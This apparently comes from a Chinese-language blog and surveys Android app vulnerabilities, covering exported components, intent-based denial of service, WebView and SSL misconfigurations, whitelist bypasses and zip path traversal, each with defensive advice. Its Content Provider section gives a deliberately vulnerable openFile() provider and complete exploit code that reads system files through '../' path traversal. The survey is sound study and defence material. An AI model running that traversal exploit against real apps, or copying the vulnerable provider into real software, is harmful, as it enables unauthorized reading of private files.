对于Android App中可能出现的安全漏洞的类型和原理的总结,以及App安全漏洞检测/扫描系统的基本检测对象的简单归纳。
概述
Android漏洞可能存在的点:
协议——通信协议(本地、网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞;通信数据引发的
缓冲区溢出
等可能导致远程代码执行/拒绝服务的代码漏洞。组件安全——Activity,Service服务,Content Provider内容提供者,BroadcastReceiver广播接收器中可能存在的安全问题,其中最主要的就是intent组件通信导致的拒绝服务/越权漏洞。
开放端口——可通过命令查看各APP运行时存在的开放端口,然后去逆向分析APP查看其在此开放端口上进行的操作,从而找寻可能的漏洞。
IPC(进程间通信)安全——同1。
文件读写安全/数据加密安全——Android平台上的隐私泄露也是一个值得关注的攻击面。
Android App常见安全漏洞
1.四大组件
四大组件的安全问题很大一部分是由于组件设置成导出状态(android:exported=true)引起的。
Android 四大组件中,Activity,Service服务,BroadcastReceiver广播接收器之间都可以通过Intent
进行通信,所以他们都存在由Intent传输数据引发的本地拒绝服务漏洞。
背景知识:Android系统中的Intent机制负责对应用中一次操作的动作、动作涉及数据、附加数据进行描述,系统则根据此Intent的描述,负责找到对应的组件,将Intent传递给调用的组件,并完成组件的调用。
产生原理:Android应用本地拒绝服务漏洞源于程序处理Intent.getXXXExtra()获取的数据时没有进行异常捕获,从而导致攻击者可通过向受害者应用发送此类空数据、异常或者畸形数据来达到使该应用crash(崩溃)的目的。
危害:1)导致安全防护等应用的防护功能被绕过或失效(如杀毒应用、安全卫士、防盗锁屏等);2)被竞争方应用利用并攻击,使得己方应用崩溃,造成不同程度的经济利益损失。
防护:1)将不必要的组件设置为不导出(在AndroidMenifest.xml文件中,将相应组件的“android:exported”属性设置为“false”,防止引起拒绝服务,尤其是杀毒、安全防护、锁屏防盗等安全应用; 2)处理通过Intent.getXXXExtra()获取的数据时进行以下判断,同时用try-catch方式捕获所有异常,以防止应用出现拒绝服务漏洞:空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其他异常。
攻击代码示例:包括NullPointerException异常、ClassCastException异常、IndexOutOfBoundsException异常、ClassNotFoundException异常。
NullPointerException异常——攻击所用adb命令
ClassCastException异常——攻击应用代码片段
IndexOutOfBoundsException异常——攻击应用代码片段
ClassNotFoundException异常——攻击应用代码片段
接下来列举四大组件中存在的,除组件导出引起的(如越权绕过、权限提升、消息伪造等)之外的安全漏洞。
A.Activity
(1)组件导出导致钓鱼欺诈
Android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。
而Activity的调度是交由Android系统中的AMS管理的。AMS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AMS。
当AMS收到要启动或停止Activity的消息时,它先更新内部记录,在通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中年的Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。
当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。
由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户。
如果这个Activity是用于盗号的伪装Activity,那么就会产生钓鱼安全事件或者是一个Activity中有webview加载,如果允许加载任意网页也有可能会产生钓鱼事件。
防护:如果当前的程序进入后台,则需要提示用户当前进程状态。
(2)隐式启动intent包含敏感数据
- 背景知识:Intent可分为隐式(implicitly)和显式(explicitly)两种——
(1)显式 Intent:即在构造Intent对象时就指定接收者,它一般用在知道目标组件名称的前提下,一般是在相同的应用程序内部实现的,如下:
Intent intent = new Intent(MainActivit.this, NewActivity.class);
startActivity(intent);
(2)隐式 Intent:即Intent的发送者在构造Intent对象时,并不知道也不关心接收者是谁,有利于降低发送者和接收者之间的耦合,它一般用在没有明确指出目标组件名称的前提下,一般是用于在不同应用程序之间,如下:
Intent intent = new Intent();
intent.setAction("com.wooyun.test");
startActivity(intent);
对于显式Intent,Android不需要去做解析,因为目标组件已经很明确,Android需要解析的是那些隐式Intent,通过解析,将Intent映射给可以处理此Intent的Activity、IntentReceiver或Service。
- 原理:攻击模型如下图。
B.Service
Service是 android四大组件之一,一个 Service是没有界面且能长时间运行于后台的应用组件。其它应用的组件可以启动一个服务运行于后台,即使用户切换到另一个应用也会继续运行。另外,一个组件可以绑定到一个 service来进行交互,即使这个交互是进程间通讯也没问题。例如,一个
service可能处理网络事物,播放音乐,执行文件I/O,或与一个内容提供者交互,所有这些都在后台进行。
如果一个导出的 Service没有做严格的限制,任何应用可以去启动并且绑定到这个 Service上,取决于被暴露的功能,这有可能使得一个应用去执行未授权的行为,获取敏感信息或者是污染修改内部应用的状态造成威胁。
C.Broadcast receiver
BroadcastReceiver是 Android的四大组件之一,这个组件涉及两个概念:广播发送者和广播接收者。这里的广播实际上指的就是 intent。当发送一个广播时,系统会将发送的广播 (intent)与系统中所有注册的符合条件的接收者的 IntentFilter进行匹配,若匹配成功,则执行相应接收者的 onReceive函数。
可以通过两种方式注册广播接收器,一种是在Manifest.xml文件中通过
发送广播时如果处理不当,恶意应用便可以嗅探、拦截广播,致使敏感数据泄露等;
如果接收广播时处理不当,便可导致拒绝服务攻击、伪造消息、越权操作等。
敏感信息泄露
原理:发送的intent没有明确指定接收者,而是简单的通过action匹配。恶意应用可注册一个广播接收者嗅探拦截这个广播。
防护:使用LocalBroadcastManager.sendBroadcast()发出的广播只能被app自身广播器接收。
D.Content Provider
在 Android系统中, Content provider作为应用程序四大组件之一,它起到在应用程序之间共享数据的作用,通过 Binder进程间通信机制以及匿名共享内存机制来实现。
然而有些数据是应用自己的核心数据,需要有保护地进行开放。很多开发者不能恰当的使用,导致攻击者可访问到应用本身不想共享的数据。虽然
Content provider组件本身也提供了读写权限控制,但是它的控制粒度是比较粗的。
(1)信息泄露漏洞
如果对Content Provider的权限没有做好控制,就有可能导致恶意程序通过构造Content URI读取App的敏感数据。
(2)SQL注入漏洞
对Content Provider进行增删改查操作时,程序没有对用户的输入进行过滤,未采用参数化查询的方式,可能导致sql注入攻击。
(3)目录遍历漏洞
原理:对外暴露的Content Provider组件实现了openFile()接口,并且没有对Content Provider组件的访问进行权限控制,也没有对访问的目标文件的Uri进行有效判断,第三方应用程序可以利用该接口进行文件目录遍历,访问任意可读文件。
实例:
漏洞代码——
(1)StudentsProvider:
public class StudentsProvider extends ContentProvider {
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode)
throws FileNotFoundException {
File file = new File(getContext().getFilesDir(), uri.getPath());
if (file.exists()) {
return ParcelFileDescriptor.open(file,
ParcelFileDescriptor.MODE_READ_ONLY);
}
throw new FileNotFoundException(uri.getPath());
}
@Override
public boolean onCreate() {
// TODO Auto-generated method stub
return false;
}
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// TODO Auto-generated method stub
return null;
}
@Override
public String getType(Uri uri) {
// TODO Auto-generated method stub
return null;
}
@Override
public Uri insert(Uri uri, ContentValues values) {
// TODO Auto-generated method stub
return null;
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
// TODO Auto-generated method stub
return 0;
}
@Override
public int update(Uri uri, ContentValues values, String selection,
String[] selectionArgs) {
// TODO Auto-generated method stub
return 0;
}
}
(2)AndroidManifest.xml:
<provider
android:name="com.bug.contentprovider.openfile.StudentsProvider"
android:authorities="com.bug.provider.College"
android:exported="true"
android:permission="com.bug.contentprovider.openfile.android.permission.PERMISSION_REWRITE" >
</provider>
漏洞利用代码——
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
attack1();
attack2();
}
public void attack1() {
try {
String fileUri = "content://com.bug.provider.College/"
+ "../../../../system/etc/hosts";
//../表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定。
ContentResolver cr = this.getContentResolver();
FileInputStream in = (FileInputStream) cr.openInputStream(Uri
.parse(fileUri));
byte[] buff = new byte[in.available()];
in.read(buff);
Toast.makeText(getBaseContext(), new String(buff),
Toast.LENGTH_LONG).show();
} catch (Exception e) {
e.printStackTrace();
}
}
public void attack2() {
try {
String fileUri = "content://com.bug.provider.College/"
+ "../../../../system/build.prop";
ContentResolver cr = this.getContentResolver();
FileInputStream in = (FileInputStream) cr.openInputStream(Uri
.parse(fileUri));
byte[] buff = new byte[in.available()];
in.read(buff);
Toast.makeText(getBaseContext(), new String(buff),
Toast.LENGTH_LONG).show();
} catch (Exception e) {
e.printStackTrace();
}
}
}
E.四大组件的安全防护
(1)Activity
谨慎处理接收的Intent以及其携带的信息;
私有Activity不应被其他应用启动且应该确保相对是安全的;
当Activity返回数据时候需注意目标Activity是否有泄露信息的风险,同时谨慎处理Activity返回的数据,目的Activity返回的数据有可能是恶意应用伪造的;
目标Activity十分明确时尽量使用显式Intent;
验证目标Activity是否属于恶意app,以免受到Intent欺骗,可用hash签名验证;
尽可能的不发送敏感信息,应考虑到启动public Activity中Intent的信息均有可能被恶意应用窃取的风险;
不需要被外部程序调用的组件应该添加android:exported=”false”属性,这个属性说明它是私有的,只有同一个应用程序的组件或带有相同用户ID的应用程序才能启动或绑定该组件;
对于希望Activity能够被特定的外部程序访问,可以为其设置访问权限,具体做法有以下两种:①组件添加android:permission属性如图;②protectionLevel权限声明如图;
(2)Service
- 私有的service尽量不定义intent-filter并且设置exported属性为false;
- 尽量用显式的方式启动service;
- 合作service需对合作方的app签名做校验;
- Service接收到的数据需要谨慎处理;
- 内部service需使用签名级别的protectionLevel来判断是否为内部应用调用;
- Service不应在onCreate时决定是否提供服务,应在onStartCommand/onBind/onHandleIntent等方法被调用时做判断;
- 当service有返回数据时,应判断接收数据的组件是否有信息泄露的风险;
- 尽量不发送敏感信息;
(3)Content Provider
如果不需要与其他应用程序进行数据共享,就应该在manifest文件中设置android:exported=”false”;
注意,在API Level低于8时,即使显式地声明了android:exported=”false”,其它应用程序仍然可以访问对应的Content Provider,所以尽量避免使用Level低于8的API;
需要向外部提供数据的Content Provider需设置访问权限;
传递给ContentProvider的参数应该被视为不可信的输入,不应该在没有经过任何处理的情况下直接用于SQL查询;
避免使用SQLiteDatabase对象的execSQL()方法;
(4)Broadcast Receiver
- 私有广播接收器设置exported属性为false,尽量不配置intent-filter;
- 私有广播尽量使用LocalBroadcastManager动态注册和使用;
- 暴露的广播接收器需要对数据来源进行权限控制和身份验证;
- 广播接收器对于接收的数据要谨慎地使用多种异常来控制数据处理;
- 发送广播时如果包含敏感数据则需要显示意图,并通过setPackage()指定接收者包名;
2.默认设置漏洞
A.AndroidManifest.xml配置文件中默认设置相关问题
- allowBackup默认设置风险(Android 2.1以上的系统可为App提供应用程序数据的备份和恢复功能,AndroidManifest.xml文件中的allowBackup属性值控制,其默认值为true。当该属性没有显式设置为false时,攻击者可通过adb backup和adb restore对App的应用数据进行备份和恢复。)
- Debuggable默认设置风险
- 组件默认导出风险
B.WebView的默认设置问题
在 Android开发中,经常会使用 Web view来实现WEB页面的展示,在 Activiry中启动自己的浏览器或者简单的展示一些在线内容等。
- setAllowFileAccess()
- setAllowContentAccess()
- setAllowFileAccessFromFileURLs()
- setAllowUniversalAccessFromFileURLs()
- setSavePassword()
- Webview默认开启密码保存功能 mWebview.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择“是”,密码会被明文保到/data/data/com.package.name/databases/webview.db,如果手机被root之后,获取roo权限的APP就可以任意读取私有目录下的文件去获取用户的密码,因此建议用户密码需要加密存储。
- Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的 Webview未对file://形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie信息泄露。
3.网络相关
A.https通信安全漏洞
在Android中使用SSL/TLS协议,通过校验服务器端证书来实现安全通信。(这里指单向SSL校验,与之对应的是双向SSL校验,双向SSL指的是同时校验客户端和服务器端证书。)
- https证书不校验漏洞(忽略SSL证书校验、忽略域名校验、证书颁发机构被攻击导致私钥泄露)——导致中间人攻击,攻击者可通过中间人攻击,盗取账户密码明文、聊天内容、通讯地址、电话号码以及信用卡支付信息等敏感信息,甚至通过中间人劫持将原有信息替换成恶意链接或恶意代码程序,以达到远程控制、恶意扣费等攻击意图。
(1)忽略SSL证书校验
原理:
在自定义实现X509TrustManager时,checkServerTrusted中没有检查证书是否可信,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
在重写 WebviewClient的 onReceivedSslError方法时,调用 proceed忽略证书验证错误信息继续加载页面,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
防护:
- 建议自定义实现X509TrustManager时,在 checkServerTrusted中对服务器信息进行严格校验。针对自定义 TrustManager,检查 checkServerTrusted()函数是否为空实现。
- 建议不要重写 TrustManager和 HostnameVerifier,使用系统默认的。
- 在重写 WebViewClient的。 onReceivedSslError方法时,避兔调用 proceed忽略证书验证错误信息继续加载页面。
- 禁止使用proceed()函数忽略证书错误,应该抛给系统进行安全警告。
(2)忽略域名校验
原理:
在自定义实现 HostnameVerifier时,没有在verify中进行严格证书校验,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
在HostnameVerifier方法中使用ALLOW_ALL_HOSTNAME_VERIFIER,信任所有Hostname,导致通信过程中可能存在中间人攻击,造成敏感数据劫持危害。
防护:
在自定义实现 HostnameVerifier时,在verify中对Hostname进行严格校验。
建议在HostnameVerifier方法中使用STRICT_HOSTNAME_VERIFIER进行严格证书校验,避免使用ALLOW_ALL_HOSTNAME_VERIFIER。
B.WebView安全漏洞
- 远程代码执行漏洞
- UXSS
- Webview设置方面的安全风险
- Webview忽略证书错误漏洞
- Webview File域同源策略绕过漏洞
(1)WebView设置方面的安全风险
(2)Webview File域同源策略绕过漏洞
同源策略——
浏览器有一个很重要的概念——同源策略(Same-Origin Policy)。所谓同源是指,域名,协议,端口相同。不同源的客户端脚本(JavaScript、 ActionScript)在没明确授权的情况下,不能读写对方的资源。简单的来说,浏览器允许包含在页面A的脚本访问第二个页面B的数据资源,这一切是建立在A和B页面是同源的基础上。同源策略是由 Netscape提出的一个著名的安全策略,现在所有支持 JavaScript的浏览器都会使用这个策略。
原理——
在Android系统中,APP访问网页一般是使用浏览器或者是使用了 Android系统内置的 webview组件。如果 Webview没有禁止使用file域并且Webview打开了对 JavaScript的支持。通过 Webview对 javascript
的延时执行和将当前Html文件删除掉并软连接指向其他文件就可以读取到被符号链接所指的文件,然后通过 JavaScript再次读取HTML文件,即可获取到被符号链接所指的文件。
防护——
- 将不必要导出的组件设置为不导出。
- 如果应用的需要导出包含 Webview的组件,禁止使用File域协议。
myWebView.getSettings.setAllowFileAccess(false);
- 如果需要使用File协议,禁止File协议调用 JavaScript。
myWebView.getSettings.setavaScriptEnabled(false)
(3)WebView安全防护
- 手机厂商把手机内置的WebView与google保持更新一致。
- 手机厂商把手机内置的浏览器漏洞修补程度要与Google官方保持一致,并且检测个性化自定义的暴露的API接口。
- 手机浏览器厂商浏览器漏洞修补程度要与 Google官方保持一致,并且检测个性化自定义的暴露的API接口。
- APP开发人员注意 webview的各项默认设置。
- 用户随时把手机的内置 webview以及使用的浏览器更新到最新版本。
C.白名单绕过漏洞
(1)签名白名单绕过
关于Android签名——
除了RSA格式的文件还有 CERT.DSA/EC两种格式,Android支持DSA、RSA、EC三种加密算法进行签名,都是用来保存用私钥计算出 CERT.SF文件的数字签名、证书发布机构、有效期、公钥、所有者、签名算法等信息。
正常情况下,一个APK中只会生成一个 CERT.RSA/DSA/EC签名文件。但若在APK压缩包中加入其他的签名文件,即可同时存在两个或两个以上的签名文件。
原理——
- 由于对应版本的Android源码的区别,Android4.x安装APK只会校验读取到的第一个签名文件(如CERT.DSA和 CERT.RSA同时存在,只会读取到 CERL.DSA),如果验证错误就会退出。
- Android5.x以上安装APK会逐一校验所有的签名文件,有一个验证通过即可安装成功;
- 若安全软件使用证书白名单机制,且验证证书时不检查证书合法性,可能会出现只读取第一个签名文件(如该样本中的 CERT.DSA),导致被该白证书误导而无法检出。
(2)URL白名单绕过漏洞
手机应用在特定环境下需要打开外部传入的URL,或者使用外部传入的URL去下载。为了对打开或下载的URL做控制,就需要对域名进行校验。
对URL的域名进行校验,一般习惯使用系统API,getHost
来获取域名进行字符串比较,但是由于getHost
这个系统API的设计缺陷,使其可以被绕过。
D.Socket远程连接漏洞
原理——
如果手机开放端口,但是缺少对发送者的身份验证或者是存在权限控制缺陷,导致黑客拿下这个端口的权限,便可以获得手机此端口开放的所有功能。此漏洞只与App有关,不受系统版本影响。
实例——
APP应用开放网络端口漏洞历史上最为典型的是虫洞漏洞,虫洞是由乌云白帽子发现的百度系列APP存在 socket远程攻击漏洞而命名的一种漏洞。
E.APK升级漏洞
F.其他
(1)加密算法是否存在安全缺陷
客户端与服务器通信或数据存储往往采用一些加密算法来保障数据的安全,但是这些算法本身可能存在缺陷。
不安全的哈希/加密算法——
MD5哈希算法易遭到已知的哈希冲突攻击。 哈希算法用于确保数据完整性(例如,文件签名或数字证书)时尤其易被攻击。 在这种情况下,攻击者可能会生成两个独立的数据块,以便在不更改哈希值或使相关数字签名无效的情况下,将良性数据替换为恶意数据。
DES 加密使用的密钥强度较低,可能在一天内被暴力破解。
RC2 加密容易遭受与密钥相关的攻击,攻击者可以通过这些攻击找出所有密钥值之间的数学关系。
弱加密算法——
- TripleDES 等加密算法和 SHA1 及 RIPEMD160 等哈希算法被视为弱加密算法。
- 这些加密算法不能与更现代的对应算法提供同样多的安全保证。
- 与更现代的哈希算法相比,加密哈希算法 SHA1 和 RIPEMD160 提供的冲突抗性较低。与更现代的加密算法相比,加密算法 TripleDES 提供的安全位数更少。
加密算法安全级别概述表——
(2)重放攻击风险
原理——
重放攻击,是指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。攻击者利用网络监听或者其他方式盗取认证凭据,之后再把它重新发给认证服务器。
防护——
建议在客户端与服务端通信时加上时间戳或判断是否已登录过等条件,防止重放攻击。
(3)业务接口是否存在任意权限调用
原理——
在正常的业务中,敏感功能的接口需要对访问者的身份进行验证,验证通过后才允许调用接口进行操作。接口未做身份验证或身份校验不严,可能导致非授权访问或越权调用。
防护——
建议每个用户登陆后使用随机id进行标识,随时更换新id或在通信过程中使用更多参数如时间戳、数字签名等防止用户越权获取到其他用户的订单等信息。采用加密通信如https安全传输也能在一定程度上解决该问题。
建议在本地做好输入数据的校验,在通信过程中应采用多个参数对某次通信进行标识和记录。保证参数的随机性和机密性,防止攻击者构造出针对系统健壮性进行攻击的请求数据。
4.敏感数据泄露
- LogCat输出敏感信息
- 敏感数据明文存储于Sdcard
- 数据库敏感数据明文存储
- Shared preference全局可读写
- 敏感信息硬编码
- HTTP敏感信息明文传输
5.Zip解压缩漏洞
ZIP压缩包文件中允许存在”../“的字符串,攻击者可通过精心构造ZIP文件,利用多个“../“从而改变ZIP包中某个文件的存放位置,覆盖替换掉应用原有的文件。如果被覆盖掉的文件是so文件、dex文件或者odex文件,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害应用用户的设备安全和信息安全。比如“寄生兽”漏洞,海豚浏览器远程命令执行漏洞,三星默认输入法远程代码执行等。
Android App审计系统
在网上找到一个对于各项检测都介绍的比较详细的App审计系统,下图是该审计系统作者整理的Checklist脑图。